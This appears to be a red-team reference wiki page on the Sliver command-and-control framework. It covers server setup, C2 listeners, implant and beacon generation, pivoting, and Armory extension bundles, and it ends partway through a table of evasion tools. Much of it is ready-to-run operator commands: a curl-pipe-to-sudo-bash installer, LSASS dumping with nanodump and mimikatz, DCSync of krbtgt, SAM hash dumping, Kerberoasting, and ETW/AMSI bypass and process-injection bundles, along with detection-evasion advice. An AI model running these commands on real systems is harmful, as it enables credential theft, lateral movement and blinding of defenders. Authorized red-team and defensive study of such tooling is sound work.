ᛉ Yggdrasil

Tool references

Sliver C2 Wiki

17 Sep 2026 · 12,960 words · 59 min

Contents

Author: BishopFox (Ronan Kervella / @rkervella, Joe DeMesy / @moloch--, and contributors) Repo: https://github.com/BishopFox/sliver Description: Open-source, cross-platform C2 framework written in Go License: GPLv3 Docs: https://sliver.sh/docs


Overview

Sliver is a cross-platform adversary emulation and command-and-control framework developed by Bishop Fox as an open-source alternative to Cobalt Strike, Brute Ratel, and Covenant. Implants ("slivers") are compiled per-target in Go, giving native cross-compilation to Windows, Linux, and macOS from a single server without needing separate toolchains per OS.

Key capabilities:

  • Cross-platform implant generation (Windows/Linux/macOS, multiple architectures)
  • Four C2 transport protocols: mTLS, HTTP/HTTPS, DNS, WireGuard
  • Two implant operating modes: interactive sessions and asynchronous beacons
  • Multiplayer support — multiple operators against one team server, certificate-authenticated
  • Built-in SOCKS5 proxying, port forwarding, and arbitrarily nestable C2 pivot chains (TCP and named pipe)
  • Beacon Object File (BOF) and .NET assembly execution in-process, no new process spawned
  • The Armory — a package manager for community extensions, aliases, and BOFs
  • Procedurally generated HTTP(S) C2 traffic to resist static network signatures
  • User-defined WASM Traffic Encoders (new in v1.6.0) — see Traffic Encoders
  • Extensive server-side audit logging of both implant activity and operator actions

Sliver is widely used in legitimate red team engagements and has also been observed in real-world intrusions attributed to APT29/Cozy Bear, which is part of why blue teams increasingly build detections specifically for it — see Detection Notes.


Architecture

Sliver cleanly separates four logical components. The console and server can run on the same box for lab work, but in a real engagement the server almost always lives on a hardened VPS behind a redirector, while operators connect in from separate client machines.

  • Sliver server — long-running daemon that holds all state: active sessions, beacons, listener jobs, loot, and the operator certificate store. Everything else talks to this process over gRPC.
  • Operator console (client) — the CLI an operator uses day to day. Connects to the server over mTLS using a per-operator client certificate (.cfg file), issued by the server admin.
  • Listener jobs — protocol handlers the server runs to accept implant callbacks. A single server can run several listeners of different protocols simultaneously.
  • Implants — the payload deployed to a target, running as either a session (persistent, interactive) or a beacon (asynchronous, sleep-and-check-in). See Sessions vs Beacons.
┌───────────────────┐   C2 Protocol   ┌─────────┐
│                   ├────────────────►│ Implant │
│ Sliver C2 Server  │                 └─────────┘
│                   │
└───────────────────┘
        ▲
        │ gRPC/mTLS (default port 31337)
        │
┌───────┴─────────┬──────────────┬───────────┐
│                 │              │           │
Windows Op.   Linux Op.      MacOS Op.   ...more operators

Tip: In production, don't expose the Sliver server's listener ports directly to the internet. Front them with an Nginx/Apache redirector (or CDN-based domain fronting) that proxies legitimate-looking traffic through to the real listener port. This is standard practice across most modern C2 frameworks, not unique to Sliver.


Installation & Server Setup

# Quick install script (Linux) — configures the server as a systemd service
curl https://sliver.sh/install | sudo bash

# Manual: grab the latest release binary
wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux
chmod +x sliver-server_linux

# Start the server (drops into the server console)
sudo ./sliver-server_linux

# Run as an unattended daemon instead
sudo ./sliver-server_linux daemon

# Or install it as a systemd unit directly
sudo ./sliver-server_linux install
systemctl enable sliver
systemctl start sliver
systemctl status sliver

The server console and the operator console share the same binary in single-player mode — running sliver-server alone drops you straight into an admin console with every listener/generate/session command available locally, no multiplayer setup required.

# Check version
sliver-server version

# Server config / operator certs live under
~/.sliver/         # server-side state, certs, logs
~/.sliver-client/  # per-operator client config, including ~/.sliver-client/configs/

Server-side runtime configuration lives at ~/.sliver/configs/server.json (auto-generated on first run if absent) and controls things like daemon_mode, the daemon bind host/port, and log verbosity.

Building from source:

# Requires Go 1.21+, MinGW (for Windows DLL/shellcode cross-compile), and make
git clone https://github.com/BishopFox/sliver.git
cd sliver
make            # builds sliver-server and sliver-client for the current OS
make linux      # or cross-compile for a specific target
make windows
make macos

MinGW is required on the server if you want DLL payload output; Metasploit integration is optional and only needed for MSF-specific features. Neither is required on the client side.

Tip: For anything beyond a single-operator lab, run the server as a daemon (or under systemd) so it survives disconnects, then connect to it with a separate sliver-client console rather than working inside the server process directly.


Multiplayer Mode & Operators

Sliver supports multiple operators against one server, each authenticated with their own client certificate over mTLS.

# On the server console: generate a new operator config
# Requires --name and --lhost (the server's reachable address for that operator)
[server] sliver > new-operator --name zoro --lhost 203.0.113.10

# Then enable the multiplayer listener so operators can actually connect
[server] sliver > multiplayer

This writes a .cfg file (e.g. zoro_203.0.113.10.cfg) to disk — hand it to the operator, they import it client-side:

# Operator side: import the config, then launch the client
./sliver-client import zoro_203.0.113.10.cfg
./sliver-client
# ? Select a server: [Use arrows to move, type to filter]
# > example.com
#   localhost

If the server is running headless in daemon mode (the default for the systemd install), there's no interactive console to type new-operator into — use the server binary's own CLI instead:

./sliver-server operator --name zer0cool --lhost 203.0.113.10 --save zer0cool.cfg
# List builders connected in multiplayer mode (for offloading implant compilation)
sliver > builders

Note: Multiplayer traffic (operator-to-server mTLS/gRPC) is a separate channel from implant C2 traffic, defaulting to TCP 31337. It's rarely visible from inside a victim network, but it does have its own fingerprint (JARM hash, default cert strings) that's been used for external internet-wide detection of exposed Sliver servers — don't assume the admin channel is unobservable just because it's not implant traffic.


Listeners

Listeners are the server-side handlers that accept implant check-ins. You can run several at once, on different ports and protocols.

# List active listener jobs
sliver > jobs

# Kill a listener by job ID
sliver > jobs -k 3

mTLS Listener

Mutual TLS — both server and implant present certificates, authenticating each other. Sliver's authors recommend this over one-way TLS where OPSEC constraints allow it, since it's the hardest of the four to intercept or replay without the implant's client cert. It's also the officially recommended default transport, alongside WireGuard, when the network allows it.

# Default port 8888
sliver > mtls

# Custom port / bind interface
sliver > mtls -l 443
sliver > mtls -l 0.0.0.0:8888

HTTP/HTTPS Listener

Blends into normal web traffic. HTTPS is strongly preferred for anything beyond a lab — HTTP is plaintext on the wire.

# HTTPS with your own cert/key pair
sliver > https --domain example.com --cert ./cert.pem --key ./key.pem

# HTTPS with Let's Encrypt/ACME (server needs a public listener + DNS pointed at it)
sliver > https --domain example.com --lets-encrypt

# Plain HTTP (lab/testing only) — no parameters binds port 80, any Host header
sliver > http

# Restrict to a specific domain
sliver > http --domain example.com

Sliver can also stand up believable decoy content on the same listener using the websites command, so a curious analyst hitting the listener directly sees a normal-looking site rather than a blank response:

sliver > websites --website fake-blog --web-path / --content ./index.html add

Sliver procedurally generates each HTTP(S) request — randomized URLs, query arguments, and file extensions per request — based on a C2 profile config at ~/.sliver/configs/http-c2.json, or a named profile managed with the c2profiles command (c2profiles import --file ... --name ...). Editing this changes what your traffic looks like on the wire, but it must be locked in before generating implants, since the profile is baked into the binary at generation time.

Warning: Changes to the HTTP C2 profile after implants are already deployed can break compatibility with those existing implants. Lock in your traffic profile before your first generate.

DNS Listener

Tunnels C2 over DNS queries/responses — useful in environments with tightly egress-filtered HTTP/HTTPS but permissive outbound DNS.

sliver > dns --domain example.com

# Custom listening port for the DNS server itself
sliver > dns --domain example.com -l 53

Requires you to control the domain's NS records (or delegate a subdomain) so DNS queries for it actually route back to your Sliver server. Under the hood, Sliver packs each message into a protobuf and encodes it into subdomain labels using a modified Base58 alphabet by default, falling back to Base32 for resolvers that don't fully adhere to DNS standards — see Detection Notes for why this matters defensively.

WireGuard Listener

A full VPN-style tunnel rather than an application-layer protocol. Gives the richest post-exploitation experience (see WireGuard Routing) at the cost of being the easiest to fingerprint by port/protocol (default UDP 51820) if the target network inspects egress traffic closely.

sliver > wg -l 53

# Custom key-exchange port
sliver > wg -l 53 -x 1234

Implant Generation

Sessions vs Beacons

This is the single most important operational decision when generating an implant.

Session Beacon
Connection model Persistent, held open Asynchronous, sleep + check-in
Interactivity Real-time, immediate command execution Tasked; results returned on next check-in
Network noise Higher — constant heartbeat traffic Lower — configurable interval + jitter
Supports portfwd / socks5 / pivots Yes No (promote to session first)
Best for Hands-on-keyboard work, active engagement windows Long-haul persistence, noisy or monitored environments
# Generate a session implant (no "beacon" subcommand)
sliver > generate --mtls 192.168.1.100:8888 --os windows --arch amd64 --format exe

# Generate a beacon with a 60s check-in interval and 30% jitter
sliver > generate beacon --mtls 192.168.1.100:8888 --os windows --arch amd64 \
  --seconds 60 --jitter 30 --format exe

A beacon can be tasked to open a live session on demand without redeploying anything:

# From within a beacon context
sliver (BEACON_NAME) > interactive

This doesn't happen instantly — it's queued like any beacon task and takes effect on the beacon's next check-in, at which point a new session appears using the same C2 channel the beacon was already using. Most operators start everything as a beacon and only go interactive when they actually need hands-on-keyboard access.

Important limitation, not currently reversible: an implant compiled for session mode cannot later be converted to beacon mode, and vice versa is one-directional (beacon → session, not session → beacon). Decide the compiled mode up front, not mid-engagement.

Generate Flags

generate [beacon] [flags]
Flag Description
--mtls HOST:PORT mTLS transport, can take multiple comma-separated endpoints for fallback
--http DOMAIN HTTP transport — implant tries HTTPS first, falls back to HTTP
--https DOMAIN HTTPS transport
--dns DOMAIN DNS transport
--wg HOST:PORT WireGuard transport
--tcp-pivot HOST:PORT Connect back through an existing TCP pivot listener
--named-pipe HOST/pipe/NAME Connect back through an existing named pipe pivot (Windows only)
--os {windows,linux,darwin} Target OS — accepts any valid Go GOOS; officially supported: Windows/macOS/Linux
--arch {amd64,386,arm64} Target architecture
--format {exe,shared,service,shellcode} Output format
--save PATH Output path for the compiled binary
--seconds N Beacon check-in interval (beacon mode only)
--jitter N Percentage jitter applied to the interval (beacon mode only)
-N, --name Custom implant name instead of an auto-generated codename
--skip-symbols Skip symbol obfuscation (smaller binary, easier to reverse)
--evasion Enable built-in evasion features (sandbox/VM detection, sleep obfuscation)
--external-builder Offload compilation to a connected external builder rather than the main server
-c, --canary DOMAIN Embed a DNS canary token — see below
--debug Verbose build output — the go-to first step for troubleshooting a callback that never arrives

Tip: You can pass multiple connection strings to a single transport flag for automatic fallback, e.g. --mtls sliver.corp.local,192.168.1.100 tries the DNS name first and falls back to the raw IP if that name fails to resolve.

DNS canaries: Sliver can embed unique, implant-specific canary domains that exist nowhere except inside that one binary's strings, deliberately left unencoded (in cleartext) at compile time — this is different from the real C2 domain/IP, which stays encrypted in the binary. If you see a DNS query for that canary domain hit your infrastructure from anywhere other than the intended target, it means the binary has been pulled apart and is being analyzed — a strong signal to assume the operation is burned and rotate infrastructure.

Profiles

Profiles let you define a reusable implant configuration once and generate from it repeatedly, instead of retyping every flag.

# Create a profile
sliver > profiles new --mtls 192.168.1.100 --os windows --format exe stealth-profile

# Beacon-mode profile with timing baked in
sliver > profiles new beacon --mtls 192.168.1.100 --os windows --format exe \
  --seconds 3600 --jitter 30 stealth-beacon-profile

# Generate from a saved profile
sliver > generate --profile stealth-profile

# List / remove profiles
sliver > profiles
sliver > profiles rm stealth-profile

Stagers

A stager is a small first-stage payload whose only job is to fetch and load the real implant, keeping the on-disk/in-memory footprint of the initial delivery small.

# Start a stage listener (delivers the stager payload only)
sliver > stage-listener -u tcp://192.168.5.25:8999 -p my-profile-name

# Or generate a raw stager payload directly
sliver > generate stager --http 192.168.5.25:8999 --os windows --arch amd64

Conceptually this mirrors Metasploit's multi/handler + staged meterpreter pattern — the stage listener's only job is to hand off the second-stage implant, which is generated from a profile (-p) rather than inline flags.


Session & Beacon Management

# List active sessions / beacons
sliver > sessions
sliver > beacons

# Interact with a specific session or beacon (tab-completes; partial IDs work)
sliver > use <session-or-beacon-id>
sliver > sessions -i <session-id>

# Background the current interactive context
sliver (IMPLANT) > background

# Kill a session/beacon, or prune all dead sessions
sliver > sessions -k <session-id>
sliver > sessions prune
sliver > beacons -k <beacon-id>

# Rename the current implant
sliver (IMPLANT) > rename --name DC01

# Reconfigure a beacon's timing without rebuilding/redeploying
sliver (BEACON) > reconfig --interval 60s --jitter 20

# Show/fetch queued and completed beacon tasks
sliver (BEACON) > tasks
sliver (BEACON) > tasks fetch <task-id>

Beacon commands don't execute immediately — they're queued and run on the beacon's next check-in, then results are pulled back with tasks fetch or automatically surfaced when the beacon reports in. In multiplayer mode, any operator can fetch task output from tasks another operator issued, but automatic result display only fires for the operator who issued the task — use settings to control that display behavior.


Core Post-Exploitation Commands

Available once interacting with a session or beacon; a subset of the full command surface.

# Recon
info        # OS, hostname, user, PID, arch, locale — good first command
whoami
getuid      # Windows SID
getgid
getpid
ps
netstat
ifconfig
getprivs
getenv

# Filesystem
ls
cd
cat
download <remote> <local>
upload <local> <remote>

# Process manipulation
migrate <pid>
execute -o <cmd>
execute-assembly <path.to.exe>
execute-shellcode -p <pid> <shellcode.bin>

# Privilege / identity
getsystem           # attempt SYSTEM token elevation (Windows)
runas -u <user> -p <pass> <command>
make-token -u <user> -p <pass> -d <domain>
impersonate <token-id>
rev2self

execute-assembly and BOF execution (see Extensions, BOFs & the Armory) run in-process where possible, avoiding a new process spawn — this matters a lot for EDR evasion compared to shelling out.


Pivoting & Tunneling

Sliver draws a hard distinction between three related-but-different mechanisms. Mixing them up is the most common beginner mistake:

  • SOCKS5 — routes your tools' traffic (nmap, crackmapexec, evil-winrm) through the implant into the target network.
  • Port forwarding (portfwd) — tunnels a specific TCP connection to one internal host/port, mapped to a local port on your operator box.
  • Pivots (pivots) — chains C2 traffic itself through one implant to reach a second implant that has no direct route out. This is not for tunneling your tools; it's for extending the C2 mesh into segmented subnets.

All three require a session, not a beacon — this is a hard limitation of the current version, not a configuration option.

SOCKS5 Proxy

# Start a SOCKS5 proxy on a session (listens locally on your operator box)
sliver (SESSION) > socks5 start --host 127.0.0.1 --port 1080

# List active proxies
sliver (SESSION) > socks5

# Stop a proxy
sliver (SESSION) > socks5 stop --id 1
# /etc/proxychains4.conf
socks5 127.0.0.1 1080

# Route your usual tooling through it
proxychains nmap -sT -Pn -p 445,3389,22 192.168.1.0/24
proxychains crackmapexec smb 192.168.1.10 -u admin -p 'pass'
proxychains impacket-psexec CORP/admin:'pass'@192.168.1.10
proxychains evil-winrm -i 192.168.1.10 -u admin -p 'pass'

Port Forwarding

# Local 127.0.0.1:3389 -> internal 192.168.1.10:3389 via the implant
sliver (SESSION) > portfwd add --lport 3389 --rhost 192.168.1.10 --rport 3389

# List active forwards
sliver (SESSION) > portfwd

# Remove one
sliver (SESSION) > portfwd rm --id 1

# Now connect locally as if it were direct
xfreerdp /u:admin /p:pass /v:127.0.0.1:3389

TCP & Named Pipe Pivots

Pivots let you build arbitrarily deep chains of implants — nesting is supported (pivot A through pivot B to a third egress implant). Sliver supports two pivot transports: TCP (cross-platform) and named pipes (Windows only). This is specifically for extending the C2 mesh, not for tunneling arbitrary tools.

# On the implant that HAS a route out, open a TCP pivot listener
sliver (HOP1_SESSION) > pivots tcp
# [*] Started tcp pivot listener :9898 with id 1

# Or bind to a specific address/port
sliver (HOP1_SESSION) > pivots tcp --bind 0.0.0.0:9999

# Generate a new implant that connects back through that pivot
sliver > generate --tcp-pivot 192.168.1.90:9898 --os windows --arch amd64

# List active pivots on the current session
sliver (HOP1_SESSION) > pivots

# Stop a pivot listener
sliver (HOP1_SESSION) > pivots --id <id> stop

Named pipe pivots (Windows-only) follow the standard <host>/pipe/<name> syntax:

# Start a named pipe pivot listener on the current session
sliver (SESSION) > pivots named-pipe --bind foobar
# [*] Started named pipe pivot listener \\.\pipe\foobar with id 1

# Generate an implant pointed at it — "." resolves to 127.0.0.1
sliver > generate --named-pipe ./pipe/foobar --os windows --arch amd64

Warning: The named pipe pivot listener's default ACL only grants read/write to the pipe creator, Administrators, and LocalSystem, with read-only for Everyone. If the downstream beacon runs as a different identity (very common — e.g. it authenticates as a computer account like SRV1$ after a lateral move, or as a service account from a different privilege context), it won't have write access and the pivot connection will silently fail. Use --allow-all to grant write to the Everyone group, or --allow-user "SRV1$" to scope it to a specific identity instead of opening it to everyone.

sliver (SESSION) > pivots named-pipe --bind foobar --allow-all
sliver (SESSION) > pivots named-pipe --bind foobar --allow-user "SRV1$"

Once chained, sessions shows the pivoted implant's transport as pivot along with the hop path, e.g. 192.168.1.178:59290->WARM_DRIVEWAY->, making the chain topology visible directly in the session list. Under the hood, pivot traffic uses two independent encryption layers — a peer-to-peer layer (Age + ChaCha20-Poly1305) securing each hop, and a separate end-to-end layer between the origin implant and the server — so an intermediate pivot peer can route messages but cannot decrypt the actual command/response payload passing through it.

WireGuard Routing

When the WireGuard listener is in use, you get a genuine VPN-style tunnel into the target network rather than an application-layer proxy — this is the richest pivoting option but also the most fingerprintable by protocol/port.

# Forward a remote port through the WireGuard tunnel
sliver (WG_SESSION) > wg-portfwd add --remote 10.0.1.10:3389

Note: If Sliver's SOCKS5/portfwd/pivots aren't enough for a given engagement (e.g. you need a full routable TUN interface rather than per-connection tunneling), tools like Ligolo-ng are commonly layered on top rather than replacing Sliver's own pivoting.


Extensions, BOFs & the Armory

The Armory is Sliver's package manager for community-contributed Beacon Object Files (BOFs), .NET assemblies, and command aliases.

# Search available packages
sliver > armory search <keyword>

# Install a package (or everything at once)
sliver > armory install <package-name>
sliver > armory install all

# Update the local armory index
sliver > armory update

# List installed extensions and aliases
sliver > extensions
sliver > aliases

IMPORTANT: Extensions and aliases are installed per-client, not on the server. Every operator in a multiplayer setup must run armory install themselves — there is no shared extension store on the server.

How BOFs and Extensions Work Internally

Sliver distinguishes three types of armory packages:

BOF Extensions — Small COFF (Common Object File Format) .o files compiled from C that execute directly inside the implant process via the coff-loader dependency. No new process is spawned, nothing is written to disk beyond the BOF's own memory footprint. This is one of Sliver's strongest OPSEC properties. BOFs use Cobalt Strike-compatible argument packing (BOFArgsBuffer), so most CS BOFs can be ported to Sliver with minimal changes.

DLL Extensions — Shared libraries (.dll/.so/.dylib) reflectively loaded into the implant process. These implement the Sliver API via RegisterExtension / CallExtension RPC methods. The COFF Loader itself is a DLL extension.

Aliases — Wrappers that execute .NET assemblies via ExecuteAssembly RPC, reflective DLLs via SpawnDll RPC, or standard binaries via Sideload RPC. All three run in-process or in a sacrificial process, avoiding touching disk when possible.

                    ┌─────────────────────────────────┐
                    │         Sliver Implant           │
                    │                                  │
  armory install ──►│  COFF Loader (DLL extension)     │
                    │       └──► BOF (.o file)         │
                    │                                  │
                    │  DLL Extension (reflective load) │
                    │                                  │
                    │  Alias (ExecuteAssembly /        │
                    │         SpawnDll / Sideload)     │
                    └─────────────────────────────────┘

The coff-loader extension is the prerequisite for all BOF extensions. It is auto-installed when you install any BOF from the armory, but can also be installed manually:

sliver > armory install coff-loader

Armory Bundles (Install Groups)

The armory ships with pre-defined bundles to install related tools together:

sliver > armory install windows-credentials   # nanodump, credman, chromiumkeydump, handlekatz, mimikatz, go-cookie-monster
sliver > armory install kerberos              # bof-roast, delegationbof, c2tc-kerberoast, tgtdelegation, kerbrute, nanorobeus
sliver > armory install windows-pivot         # scshell, bof-servicemove, winrm, jump-wmiexec, jump-psexec
sliver > armory install windows-bypass        # inject-etw-bypass, inject-amsi-bypass, unhook-bof, patchit
sliver > armory install windows-inject        # hollow, secinject, syscalls_shinject, threadless-inject, inject-tooltip, inject-kernelcallbacktable, inject-uxsubclassinfo, inject-ntcreatethread, inject-ntqueueapcthread, inject-setthreadcontext, inject-createremotethread, inject-dde, inject-conhost, inject-svcctrl, inject-ctray, inject-clipboard
sliver > armory install situational-awareness # all sa-* BOFs
sliver > armory install .net-recon            # seatbelt, sharpview, sharpmapexec, sharp-hound-3, sharp-hound-4, nps, sharpup, sharpsh, sharpsccm
sliver > armory install .net-pivot            # krbrelayup, rubeus, certify, sharpsecdump, sharpchrome, sharpdpapi, sqlrecon, sharplaps, mlokit

BOF Extensions — Full Reference

BOFs run in-process via the COFF Loader. All require a session (not beacon mode), or a beacon that has been promoted to interactive. MITRE ATT&CK IDs are listed where applicable.


Infrastructure / Core

Command Package What It Does
coff-loader COFFLoader Required dependency for all BOFs. A Go implementation of a Cobalt Strike-style COFF/BOF loader. Reflectively loaded as a DLL, it unpacks and executes BOF .o files in-process. Auto-installed when any BOF is installed from the armory.

Credential Access (windows-credentials bundle)

Command Package What It Does MITRE
nanodump nanodump Creates a minidump of the LSASS process in-process, supporting multiple techniques: CreateProcessWithLogonW via SecLogon to leak a handle (avoids opening LSASS directly), handle duplication from existing LSASS handles in the system, process cloning (PROCESS_CREATE_PROCESS), and direct memory reading. The minidump signature is deliberately corrupted by default to evade AV/EDR signature checks on the dump file — a restore script is provided to fix it for offline analysis with Mimikatz or pypykatz. Can operate fileless (result returned over C2) or written to disk. T1003.001
credman CredManBOF Dumps credentials from Windows Credential Manager using the CredBackupCredentials API. Requires the PID of a process started by the target user — this is how it gets credential access in the context of the logged-on user's credential store without touching LSASS. T1555.004
chromiumkeydump bof-collection Extracts the Chrome/Chromium AppBound encryption key that protects saved credentials and cookies in modern Chrome (v127+). App-Bound encryption tied keys to a COM-mediated privileged service, making old cookie-stealing approaches ineffective; this BOF recovers the key directly. T1555.003
handlekatz HandleKatz_BOF BOF implementation of HandleKatz — locates existing LSASS handles already open in other processes (which avoids opening a new one), then reads LSASS memory through the already-open handle. Avoids the most-watched action (OpenProcess on LSASS) at the cost of needing to find a process that already has an open handle. x64 only. T1003.001
mimikatz mimikatz The classic credential tool reflectively loaded in-process. sekurlsa::logonpasswords, lsadump::dcsync, kerberos::ptt, lsadump::sam, token manipulation, and the full Mimikatz feature set — without dropping a binary to disk or spawning a new process. T1003.001, T1550.003
go-cookie-monster bof-collection Chrome/Chromium cookie stealer with AppBound key support. Extracts browser cookies including session tokens from Chrome, Edge, and other Chromium-based browsers. Particularly relevant post-Chrome 127 where AppBound encryption was introduced; uses the recovered AppBound key to decrypt. T1539, T1555.003
hashdump hashdump Dumps local SAM password hashes from the current machine (requires SYSTEM). Reads the SAM and SYSTEM registry hives to extract NTLM hashes of local accounts for offline cracking or pass-the-hash. T1003.002
# nanodump — fileless LSASS dump (returned over C2, no disk write)
sliver (SESSION) > nanodump 0 lsass.dmp 0 PMDM
# nanodump — write to disk, use SecLogon technique
sliver (SESSION) > nanodump 0 C:\Windows\Temp\1.dmp 1 PMDM

# credman — dump credential manager for PID 1234
sliver (SESSION) > credman 1234

# hashdump — local SAM hashes (needs SYSTEM)
sliver (SESSION) > hashdump

# mimikatz — run logonpasswords
sliver (SESSION) > mimikatz -- sekurlsa::logonpasswords

# mimikatz — DCSync for krbtgt
sliver (SESSION) > mimikatz -- "lsadump::dcsync /user:krbtgt"

Kerberos (kerberos bundle)

Command Package What It Does MITRE
bof-roast BofRoast Kerberoasting BOF — requests Kerberos service tickets (TGS) for accounts with SPNs set in Active Directory and extracts them for offline cracking. Operates entirely in-process without touching net.exe or PowerShell. Supports targeting specific SPNs. T1558.003
c2tc-kerberoast C2-Tool-Collection Alternative Kerberoast BOF from the C2 Tool Collection (Outflank). Queries AD for accounts with SPNs and requests their TGS tickets, outputting hashes in Hashcat-compatible format. T1558.003
delegationbof DelegationBOF Enumerates Kerberos delegation configurations — unconstrained, constrained, and resource-based constrained delegation (RBCD). Accepts a delegation type code: 1=unconstrained, 2=constrained, 4=s4u2self, 6=s4u2proxy, etc. Critical for identifying delegation attack paths before exploitation. T1558
tgtdelegation tgtdelegation Forces a domain controller or other unconstrained-delegation host to send a TGT to the current machine via printer bug / SpoolSample coercion technique. When a host has unconstrained delegation, any service ticket sent to it also contains the sender's TGT — this BOF exploits that to capture TGTs from privileged machines. T1558.001
kerbrute kerbrute Kerberos pre-authentication brute-force / username enumeration BOF. Performs AS-REQ-based username enumeration (no authentication logs) and password spraying. BOF form of the well-known kerbrute tool — operates in-process without spawning kerbrute.exe. T1110.003
nanorobeus nanorobeus BOF equivalent of Rubeus — in-process Kerberos ticket management. Supports listing tickets (klist), dumping all tickets (dump /all), pass-the-ticket (ptt), AS-REP roasting, Kerberoasting specific SPNs, getting current logon ID (luid), and more. Works cross-C2-framework (Cobalt Strike, Sliver, Brute Ratel) since it's just a BOF. T1550.003, T1558.003, T1558.004
# Kerberoast — dump all SPNs
sliver (SESSION) > bof-roast

# Kerberoast a specific SPN
sliver (SESSION) > bof-roast HTTP/webserver.corp.local

# Enumerate delegation
sliver (SESSION) > delegationbof 6 dc.corp.local  # 6 = s4u2proxy (constrained)

# nanorobeus — list Kerberos tickets
sliver (SESSION) > nanorobeus luid
sliver (SESSION) > nanorobeus klist

# nanorobeus — pass-the-ticket
sliver (SESSION) > nanorobeus ptt /ticket:<base64-kirbi>

# nanorobeus — kerberoast specific SPN
sliver (SESSION) > nanorobeus kerberoast /spn:HTTP/server.corp.local

# Kerbrute — username enum
sliver (SESSION) > kerbrute userenum users.txt corp.local

Situational Awareness (situational-awareness bundle — all sa-*)

All come from the CS-Situational-Awareness-BOF collection (TrustedSec). These BOFs provide Windows reconnaissance entirely in-process without spawning cmd.exe or PowerShell. The sa- prefix groups them all.

Command What It Does
sa-adcs-enum Enumerates ADCS (Active Directory Certificate Services) — lists CAs, certificate templates, and their attributes via LDAP. Key first step for ESC attack enumeration.
sa-adcs-enum-com ADCS enumeration via COM objects (ICertAdmin2). Returns CA configuration including enabled templates, security descriptors. Alternative to the LDAP-based enum.
sa-adcs-enum-com2 Second COM-based ADCS enumeration method returning additional template metadata not covered by -com.
sa-adv-audit-policies Queries Windows Advanced Audit Policy configuration — what is and isn't being logged. Informs which actions will appear in event logs.
sa-arp Dumps the local ARP cache — reveals which hosts the target has recently communicated with. Fast network recon without sending packets.
sa-cacls Queries file/directory ACLs (Access Control Lists) using GetSecurityInfo. Equivalent to icacls / cacls in-process.
sa-driversigs Enumerates loaded kernel drivers and checks their signature status. Identifies unsigned drivers (potential rootkit indicators or exploitation targets).
sa-enum-filter-driver Enumerates filesystem mini-filter drivers — used to identify EDR/AV kernel callbacks and filter drivers attached to the filesystem stack.
sa-enum-local-sessions Lists active local logon sessions via LsaEnumerateLogonSessions. Surfaces credentials and user context for impersonation targeting.
sa-find-loaded-module Searches all running processes for a specific loaded DLL/module. Useful for finding processes with loaded security tooling (e.g., find what has amsi.dll).
sa-get-password-policy Queries the domain or local password policy — minimum length, lockout threshold, complexity requirements. Informs spray strategy.
sa-get-netsession Enumerates active SMB sessions on a remote host via NetSessionEnum. Shows who is connected to a server — key for finding logged-in privileged users.
sa-get-netsession2 Alternative NetSessionEnum implementation with additional output fields.
sa-ipconfig In-process equivalent of ipconfig /all — dumps all network adapter configuration including DNS, DHCP, gateways.
sa-ldapsearch Performs LDAP queries against the domain controller. Flexible — accepts custom LDAP filter strings. Replaces ldapsearch / PowerView queries without spawning new processes.
sa-listdns Lists cached DNS entries from the local DNS client cache. Reveals internal hostnames the target has resolved recently.
sa-listmods Lists all loaded modules (DLLs) in a target process. Helpful for identifying hooked modules and EDR presence.
sa-netgroup Queries domain group membership via NetGroupGetUsers — wraps the net group functionality in-process.
sa-netlocalgroup Lists members of local groups (e.g., Administrators) via NetLocalGroupGetMembers.
sa-netlocalgroup2 Alternative local group enumeration with extended output.
sa-netloggedon Enumerates users currently logged on to a remote host via NetWkstaUserEnum.
sa-netloggedon2 Extended version of netloggedon.
sa-netshares Enumerates network shares on a remote host via NetShareEnum.
sa-netstat In-process netstat — dumps active TCP/UDP connections and listening ports with associated PIDs.
sa-nettime Queries the current time from a remote host via NetRemoteTOD. Useful for time synchronization checks (Kerberos is time-sensitive).
sa-netuptime Queries system uptime of a remote host.
sa-netuse Lists currently mapped network drives (NET USE).
sa-netuser Queries detailed information about a specific domain user account.
sa-netuserenum Enumerates all users in a domain or local machine.
sa-netview Lists machines visible in the network (equivalent to net view).
sa-nslookup In-process DNS resolution — forward and reverse lookups without spawning nslookup.exe.
sa-notepad Reads text from an open Notepad window — useful for harvesting credentials or notes a user has visible on-screen.
sa-probe TCP port probe — checks if a specific host:port is reachable. In-process network connectivity check.
sa-reg-query Queries registry keys and values remotely or locally.
sa-regsession Enumerates loaded registry hives from remote users (lists HKEY_USERS subkeys indicating logged-on users).
sa-routeprint Dumps the Windows routing table (equivalent to route print).
sa-sc-enum Enumerates Windows services using EnumServicesStatusEx.
sa-sc-qc Queries a specific service configuration (sc qc in-process).
sa-sc-qdescription Returns a service's description text.
sa-sc-qfailure Returns a service's failure actions configuration.
sa-sc-qtriggerinfo Returns a service's trigger configuration (what events start/stop it).
sa-sc-query Queries a service's current status.
sa-schtasksenum Enumerates all scheduled tasks on the local or remote system.
sa-schtasksquery Queries detailed information about a specific scheduled task.
sa-tasklist In-process tasklist — enumerates running processes with module information.
sa-uptime Returns system uptime.
sa-vssenum Enumerates Volume Shadow Copies — useful to find backup paths for credential files.
sa-whoami In-process whoami /all — current user, groups, privileges, and logon SID.
sa-windowlist Lists all visible windows and their associated PIDs. Useful for targeting user-facing processes for injection.
sa-wmi-query Executes WMI queries in-process via IWbemServices. Flexible information gathering without spawning wmic.exe.
sa-env Dumps environment variables of the current process.
sa-list_firewall_rules Enumerates Windows Firewall rules. Identifies outbound restrictions.
sa-locale Returns system locale and regional settings.
sa-dir In-process directory listing with extended metadata.
sa-netuse Lists active NET USE mappings (mapped drives and connected shares).
# ADCS enumeration — first step before Certify
sliver (SESSION) > sa-adcs-enum
sliver (SESSION) > sa-adcs-enum-com

# Find who's logged into target host
sliver (SESSION) > sa-netloggedon DC01.corp.local
sliver (SESSION) > sa-get-netsession DC01.corp.local

# Password policy — know before spraying
sliver (SESSION) > sa-get-password-policy

# Custom LDAP query
sliver (SESSION) > sa-ldapsearch "(objectClass=computer)" dc.corp.local

# Find EDR driver stack
sliver (SESSION) > sa-enum-filter-driver

# Firewall rules
sliver (SESSION) > sa-list_firewall_rules

# Volume shadow copies (credential access path)
sliver (SESSION) > sa-vssenum

Bypass & Evasion (windows-bypass bundle)

Command Package What It Does MITRE
inject-etw-bypass InjectEtwBypass Bypasses Event Tracing for Windows (ETW) in a remote process via syscall-based injection (HellsGate/HalosGate for syscall resolution). Patches the NtTraceEvent syscall stub in the target process to prevent it from generating ETW telemetry, blinding EDR sensors that rely on ETW for behavioral data. T1562.006
